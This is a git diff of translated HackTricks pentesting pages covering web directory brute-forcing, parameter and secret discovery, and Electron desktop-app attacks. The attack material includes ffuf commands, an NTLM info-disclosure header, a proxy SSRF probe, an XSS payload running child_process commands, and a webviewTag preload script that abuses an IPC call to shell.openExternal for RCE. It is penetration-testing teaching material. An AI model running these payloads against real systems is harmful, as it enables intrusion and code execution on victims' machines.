历史中创建目录列表。 -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 基于 js imports 移除具有重复功能的 URLs。 -- [**Chamaleon**](https://github.com/iustin24/chameleon): 使用 wapalyzer 检测使用的技术并选择要使用的 wordlists。 +- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` +- [**uro**](https://github.com/s0md3v/uro) (python):这不是 spider,但给定已发现的 URL 列表后,它可以删除“重复”的 URLs。 +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger):Burp Extension,用于从不同页面的 burp 历史中创建目录列表 +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor):基于 js imports 移除具有重复功能的 URLs +- [**Chamaleon**](https://github.com/iustin24/chameleon):它使用 wapalyzer 检测所用技术并选择要使用的 wordlists。 **Recommended dictionaries:** @@ -268,41 +268,41 @@ Information about SSL/TLS vulnerabilities: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_注意:每当在 brute-forcing 或 spidering 过程中发现新目录时,应该对其进行 Brute-Force。_ +_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 在 HTML 中查找可能导致 takeover 的 broken links。 -- **File Backups**: 找到所有文件后,查找所有可执行文件的备份("_.php_", "_.aspx_"...)。常见的备份命名变体有: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 和 file.old._ 你也可以使用工具 [**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**。** -- **Discover new parameters**: 你可以使用像 [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **这样的工具来发现隐藏参数。如果可能,试着在每个可执行的 web 文件上搜索隐藏参数。** +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker):在 HTML 中查找可能导致 takeovers 的 broken links +- **File Backups**:一旦你找到了所有文件,查看所有可执行文件的备份("_.php_", "_.aspx_"...)。常见的备份命名变体包括:_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 和 file.old._ 你也可以使用工具 [**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**:你可以使用像 [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **这样的工具来发现隐藏参数。如果可能,应尝试在每个可执行的 web 文件上搜索** 隐藏参数。 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** 检查所有文件的注释,你可能会发现 **credentials** 或 **隐藏功能**。 -- 如果你在做 **CTF**,一个“常见”的技巧是将 **信息**隐藏在页面**右侧**的注释中(使用**数百个空格**,这样如果在浏览器中打开源码你就不会看到数据)。另一种可能是使用**多个换行**并在页面底部的注释中**隐藏信息**。 -- **API keys**: 如果你**发现任何 API key**,有一些项目说明如何使用不同平台的 API keys: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: 如果你发现任何看起来像 **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik 的 API key,可以使用项目 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 来检查该 key 可以访问哪些 apis。 -- **S3 Buckets**: 在 spidering 时查看是否有任何 **subdomain** 或 **link** 与某个 **S3 bucket** 相关。如果是这种情况,去 [**check** the **permissions** of the bucket](buckets/index.html)。 +- **Comments:** 检查所有文件的注释,可能会找到 **credentials** 或 **hidden functionality**。 +- 如果你在玩 **CTF**,一个“常见”的技巧是在页面的**右边**通过注释隐藏信息(使用**数百个空格**,以便在用浏览器打开源码时看不到数据)。另一种可能是使用**多个换行**并在网页底部的注释中**隐藏信息**。 +- **API keys**:如果你**发现任何 API key**,有一些指南说明如何使用不同平台的 API keys: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: 如果你发现任何以 **AIza** 开头的 API key(例如看起来像 **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik),你可以使用项目 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 来检查该 key 可以访问哪些 apis。 +- **S3 Buckets**:在 spidering 时检查是否有任何 **subdomain** 或任何 **link** 与某个 **S3 bucket** 相关。如果是这种情况,请 [**check** the **permissions** of the bucket](buckets/index.html)。 ### Special findings -在执行 **spidering** 和 **brute-forcing** 时,你可能会发现需要特别**注意**的**有趣**的**东西**。 +**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**. **Interesting files** -- 在 **CSS** 文件中查找指向其他文件的 **links**。 +- Look for **links** to other files inside the **CSS** files. - [If you find a _**.git**_ file some information can be extracted](git.md) -- 如果你发现 _**.env**_,可以找到诸如 api keys、db 密码和其他信息。 -- 如果你发现 **API endpoints**,你[也应该测试它们](web-api-pentesting.md)。这些不是文件,但它们很可能“看起来像”文件。 -- **JS files**: 在 spidering 部分列出了若干可以从 JS 文件中提取路径的工具。另外,监控每个发现的 JS 文件也很有意义,因为在某些情况下,文件的变化可能表明代码中引入了潜在的漏洞。你可以例如使用 [**JSMon**](https://github.com/robre/jsmon)**。** -- 你还应该使用 [**RetireJS**](https://github.com/retirejs/retire.js/) 或 [**JSHole**](https://github.com/callforpapers-source/jshole) 检查发现的 JS 文件以判断它们是否存在已知漏洞。 +- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found. +- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them. +- **JS files**:在 spidering 部分提到了多个可以从 JS files 提取路径的工具。此外,建议对每个找到的 JS file 做监控,因为在某些情况下,文件的变化可能表明代码中引入了潜在漏洞。你可以例如使用 [**JSMon**](https://github.com/robre/jsmon)**.** +- 你还应该使用 [**RetireJS**](https://github.com/retirejs/retire.js/) 或 [**JSHole**](https://github.com/callforpapers-source/jshole) 检查发现的 JS files 以判断是否存在已知漏洞。 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- 在很多场景下,你需要**理解正则表达式**的用法,这会很有帮助: [https://regex101.com/](https://regex101.com) 或 [https://pythonium.net/regex](https://pythonium.net/regex) -- 你还可以**监控检测到表单的文件**,因为参数变化或新表单的出现可能表明潜在的新漏洞功能。 +- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex) +- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -313,21 +313,21 @@ _注意:每当在 brute-forcing 或 spidering 过程中发现新目录时, **502 Proxy Error** -如果任何页面以该 **code** 响应,很可能是一个 **配置错误的 proxy**。**如果你发送一个像这样的 HTTP 请求: `GET https://google.com HTTP/1.1`**(包含 host header 和其他常见头),proxy 会尝试访问 _**google.com**_,那么你就发现了一个 **SSRF**。 +If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF. **NTLM Authentication - Info disclosure** -如果要求认证的运行服务器是 **Windows**,或者你发现一个要求你输入 **credentials**(并要求 **domain** **name**)的登录,你可以触发一个**信息泄露**。\ -**发送** 头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于 **NTLM authentication** 的工作机制,服务器会在头 "WWW-Authenticate" 中返回内部信息(IIS 版本、Windows 版本...)。\ -你可以使用 nmap 插件 "_http-ntlm-info.nse_" 来**自动化**此操作。 +If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\ +**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\ +You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -可以把内容放在 **Redirection** 中。这些内容**不会显示给用户**(因为浏览器会执行重定向),但有东西可能被**隐藏**在里面。 +It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there. ### Web Vulnerabilities Checking -在对 web 应用进行了全面枚举之后,就该检查大量可能的漏洞了。你可以在这里找到检查清单: +Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here: {{#ref}} @@ -342,7 +342,7 @@ Find more info about web vulns in: ### Monitor Pages for changes -你可以使用像 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) 这样的工具来监控页面修改,这些修改可能引入漏洞。 +You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 1b18bd8ae..efad047e7 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -4,27 +4,27 @@ ## 介绍 -Electron 将本地后端(使用 **NodeJS**)和前端(使用 **Chromium**)结合在一起,尽管它缺少现代浏览器的一些安全机制。 +Electron 将本地后端(使用 **NodeJS**)与前端(**Chromium**)结合在一起,但它缺少现代浏览器的一些安全机制。 -通常你可能会在 `.asar` 应用中找到 Electron 应用的代码,要获取这些代码你需要将其提取: +通常你可能会在一个 `.asar` 应用中找到 Electron 应用的代码,为了获取这些代码你需要将其提取: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -在 Electron 应用的源代码中,在 `packet.json` 内,你可以看到指定了 `main.js` 文件,其中设置了安全配置。 +在 Electron 应用的源代码里,`packet.json` 中会指定 `main.js`,安全配置就在该文件中设置。 ```json { "name": "standard-notes", "main": "./app/index.js", ``` -Electron 有 2 种进程类型: +Electron 有两种进程类型: -- 主进程(可完全访问 NodeJS) -- 渲染进程(出于安全原因,应该限制对 NodeJS 的访问) +- 主进程(可以完全访问 NodeJS) +- 渲染进程(出于安全原因应限制对 NodeJS 的访问) ![](<../../../images/image (182).png>) -一个 **渲染进程** 将是一个加载文件的浏览器窗口: +一个**渲染进程**将是一个加载文件的浏览器窗口: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Settings of the **渲染进程** can be **配置** in the **主进程** inside the main.js file. Some of the configurations will **阻止 Electron 应用程序 获取 RCE** or other vulnerabilities if the **设置正确配置**。 +可以在 main.js 文件内的 **主进程** 中 **配置** **渲染进程** 的设置。如果 **设置正确配置**,其中一些配置可以 **防止 Electron 应用遭受 RCE** 或其他漏洞利用。 -The Electron application **能够访问设备** via Node apis although it can be configure to prevent it: +Electron 应用虽然可以通过 Node API 访问设备,但可以通过配置来阻止: -- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the 渲染进程. -- **`contextIsolation`** - is `on` by default. If off, 主进程 and 渲染进程 aren't isolated. -- **`preload`** - empty by default. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform. +- **`nodeIntegration`** - 默认为 `off`。如果为 on,则允许从渲染进程访问 Node 功能。 +- **`contextIsolation`** - 默认为 `on`。如果为 off,主进程和渲染进程不会被隔离。 +- **`preload`** - 默认为空。 +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认为 off。它会限制 NodeJS 可以执行的操作。 - Node Integration in Workers -- **`nodeIntegrationInSubframes`**- is `off` by default. -- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **加载在 iframes 中** within an Electron application. -- If **`nodeIntegration`** is **disabled**, then preload 会在 iframe 中加载 +- **`nodeIntegrationInSubframes`**- 默认为 `off`。 +- 如果 **`nodeIntegration`** 被 **enabled**,这将允许在 Electron 应用中加载到 **iframes** 的网页中使用 **Node.js APIs**。 +- 如果 **`nodeIntegration`** 被 **disabled**,则 preload 会在 iframe 中加载 Example of configuration: ```javascript @@ -97,14 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" /> ``` ### 捕获流量 -修改 start-main 配置并添加对 proxy 的使用,例如: +修改 start-main 配置,并添加 proxy,例如: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Electron Local Code Injection -如果你能在本地执行一个 Electron App,可能会让它执行任意的 javascript 代码。详见: - +如果你可以在本地执行一个 Electron App,可能使其执行任意 javascript 代码。查看: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -112,7 +111,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" /> ## RCE: XSS + nodeIntegration -如果 **nodeIntegration** 被设置为 **on**,网页的 JavaScript 可以通过调用 `require()` 轻松使用 Node.js 功能。例如,在 Windows 上执行 calc 应用的方式是: +如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 只需调用 `require()` 就能轻易使用 Node.js 的功能。例如,在 Windows 上执行 calc 应用的方法是: ```html ``` -> [!NOTE] > **如果 `contextIsolation` 启用,则此方法无效** +> [!NOTE] > **如果 `contextIsolation` 被启用,则此方法不起作用** ## RCE: XSS + contextIsolation -The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE. +The _**contextIsolation**_ 在网页脚本与 Electron 的内部 JavaScript 代码之间引入了**隔离的执行上下文**,使得各自的 JavaScript 执行互不影响。这是消除 RCE 可能性所必需的功能。 -If the contexts aren't isolated an attacker can: +如果上下文没有被隔离,攻击者可以: -1. Execute **在 renderer 中的任意 JavaScript** (XSS or navigation to external sites) -2. **覆盖内置方法**,该方法在 preload 或 Electron 内部代码中被使用以控制函数 -3. **触发** 对 **被覆盖函数** 的调用 +1. 执行 **任意 JavaScript 在 renderer 中**(XSS 或导航到外部站点) +2. **覆盖内建方法**,该方法被用于 preload 或 Electron 的内部代码,从而控制该函数 +3. **触发** 对 **已被覆盖的函数** 的调用 4. RCE? There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: @@ -181,34 +180,34 @@ electron-contextisolation-rce-via-ipc.md ### 绕过点击事件 -如果在点击链接时存在限制,你可能可以通过 **使用中键点击** 而非常规的左键点击 来绕过它们 +如果在点击链接时有施加限制,你可以尝试通过 **使用中键点击** 而不是常规的左键点击来绕过这些限制 ```javascript window.addEventListener('click', (e) => { ``` -## RCE 通过 shell.openExternal +## 通过 shell.openExternal 的 RCE -有关这些示例的更多信息,请参阅 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) +有关此示例的更多信息,请参阅 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -在部署 Electron 桌面应用时,确保 `nodeIntegration` 和 `contextIsolation` 的设置正确至关重要。已经确定,当这些设置就位时,可以有效防止来自主进程、针对 preload 脚本或 Electron 原生代码的 **client-side remote code execution (RCE)**。 +在部署 Electron 桌面应用时,确保 `nodeIntegration` 和 `contextIsolation` 的正确配置至关重要。已确定:配置这些设置后,可以有效防止来自主进程针对 preload scripts 或 Electron 的本机代码的 **client-side remote code execution (RCE)**。 当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对于应用的安全性和功能至关重要: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -这些监听器**被桌面应用程序重写**以实现其自身的**业务逻辑**。应用程序会评估导航到的链接是应在应用内打开还是在外部 web 浏览器中打开。这个决定通常通过一个函数,`openInternally`,来做出。如果该函数返回 `false`,则表示该链接应在外部打开,使用 `shell.openExternal` 函数。 +这些监听器被桌面应用程序**重写**以实现其**业务逻辑**。应用程序会评估被导航到的链接是应该在应用内打开还是在外部浏览器中打开。通常通过名为 `openInternally` 的函数来做出此决定。如果该函数返回 `false`,则表示应当在外部打开该链接,使用 `shell.openExternal` 函数。 -**Here is a simplified pseudocode:** +**下面是简化的伪代码:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Electron JS 安全最佳实践建议不要通过 `openExternal` 函数接受不受信任的内容,因为这可能通过各种协议导致 RCE。操作系统支持不同的协议,这些协议可能触发 RCE。有关此主题的详细示例和进一步说明,可参阅 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042),其中包含能够利用此漏洞的 Windows 协议示例。 +Electron JS 的安全最佳实践建议不要用 `openExternal` 接受不受信任的内容,因为这可能通过各种协议导致 RCE(远程代码执行)。不同的操作系统支持可能触发 RCE 的不同协议。有关详细示例和进一步说明,请参见 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042),其中包括可用于利用此漏洞的 Windows 协议示例。 在 macos 中,`openExternal` 函数可以被利用来执行任意命令,例如 `shell.openExternal('file:///System/Applications/Calculator.app')`。 -**Examples of Windows protocol exploits include:** +**Windows 协议利用示例包括:** ```html ``` -## RCE: webviewTag + vulnerable preload IPC + shell.openExternal +## RCE: webviewTag + 存在漏洞的 preload IPC + shell.openExternal -该 vuln 可在 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。 +这个漏洞可以在 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。 -**webviewTag** 是一个 **deprecated feature**,允许在 **renderer process** 中使用 **NodeJS**。应将其禁用,因为它允许在 **preload context** 中加载脚本,例如: +**webviewTag** 是一个 **已弃用的功能**,允许在 **renderer process** 中使用 **NodeJS**,应该禁用它,因为它允许在 preload context 中加载脚本,例如: ```xml ``` -因此,能够加载任意页面的攻击者可以使用该标签来 **load an arbitrary preload script**。 +因此,能够加载任意页面的攻击者可以利用该标签来 **load an arbitrary preload script**。 -随后,该 preload script 被滥用来调用一个 **vulnerable IPC service (`skype-new-window`)**,该服务正在调用调用 **`shell.openExternal`** 来获得 RCE: +这个 preload script 随后被滥用来调用一个 **vulnerable IPC service (`skype-new-window`)**,该服务调用调用 **`shell.openExternal`** 来获得 RCE: ```javascript (async() => { const { ipcRenderer } = require("electron"); @@ -251,11 +250,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do ``` ## 读取内部文件:XSS + contextIsolation -**禁用 `contextIsolation` 允许使用 `` 标签**,类似于 `